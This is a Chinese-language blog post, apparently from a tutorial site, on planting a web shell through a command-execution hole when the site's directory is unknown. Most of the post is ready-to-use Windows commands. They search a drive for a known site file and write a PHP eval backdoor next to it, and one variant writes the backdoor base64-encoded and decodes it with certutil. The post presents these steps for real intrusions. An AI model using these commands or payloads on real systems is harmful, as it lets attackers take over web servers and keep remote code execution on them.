命令执行无路径写shell

2021/12/6 7:18:59

本文主要是介绍命令执行无路径写shell,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

在实战中我们可能挖到了一个命令执行但是因为找不到目录而无法写shell,那么该如何来拿shell呢

        简单来说就是:查找系统的某个文件并在那个文件的同级目录下写入我们的新文件

0x02 命令

[规定查找的盘符] 例如: c盘, d盘, e盘, f盘[查找的文件] 例如:index.php[写入的内容] 例如:<?php eval($_REQUEST[1]); ?>[写入的文件名字] 例如:xx.php
命令:for /f %i in ('dir /s /b [规定查找的盘符]:\[查找的文件]') do (echo "[写入的内容]" > %i\..\[写入的文件名字])    
命令实例化:for /f %i in ('dir /s /b c:\index.php') do (echo "<?php eval($_REQUEST[1]); ?>" > %i\..\xx.php)     

0x03 举例

场景:

现在我们有一个命令执行漏洞,但是找不到站点的目录无法写shell,于是就想批量查找某个文件并在这个文件下写入我们自己的文件

查看站点发现了一张图片 http://x.x.x.x/upload/icon.jpg

但是无法得知路径,这种情况下就可以使用下面的命令批量查找写入了

0x03.1 例子一  普通写入

查找c盘下面所有叫 1.jpg 的文件并且在同级目录写入一个文件 test.txt 文件内容为 123
命令:for /f %i in ('dir /s /b c:\1.jpg') do (echo "123" > %i\..\test.txt)

执行完毕以后,c盘所有叫 1.jpg 的文件同级目录就都会写入一个 test.txt 文件了

接着我们访问 http://x.x.x.x/upload/test.txt

就可以看到站点写入了一个 test.txt 文件

内容为: 123

0x03.2 例子二 - base64写shell

 第一步 先查找c盘上所有叫 1.jpg 的文件,然后把base64编码内容写入到 base64.txt 文件里面
[规定查找的盘符] 例如: c盘, d盘, e盘, f盘[查找的文件] 例如:1.jpg[写入的文件名字] 例如:1.php
命令:for /f %i in ('dir /s /b [规定查找的盘符]:\[查找的文件]') do (echo [base64编码的内容] > %i\..\[写入的文件名字])
实例执行命令:写base64文件到规定的路径下:for /f %i in ('dir /s /b c:\1.jpg') do (echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= > %i\..\base64.txt)  
 第二步 在找到第一步写入的文件,进行base64解码以后进行二次写马
[规定查找的盘符] 例如: c盘, d盘, e盘, f盘[查找的文件] 例如:base64-hm-test.txt[要解码的文件名字] 例如:base64-hm-test.txt[写入的文件名字] 例如:1.php
命令:for /f %i in ('dir /s /b [规定查找的盘符]:\[查找的文件]') do (certutil.exe -decode %i\..\[要解码的文件名字] %i\..\[写入的文件名字])   
实例执行命令:for /f %i in ('dir /s /b c:\base64.txt') do (certutil.exe -decode %i\..\base64.txt %i\..\1.php)    

执行完毕以后,c盘所有叫 1.jpg 的文件同级目录就都会写入一个 1.php 文件了

接着我们访问 http://x.x.x.x/upload/1.php

就可以看到站点写入了一个 1.php 文件

内容为: <?php eval($_REQUEST[1]); ?>



这篇关于命令执行无路径写shell的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程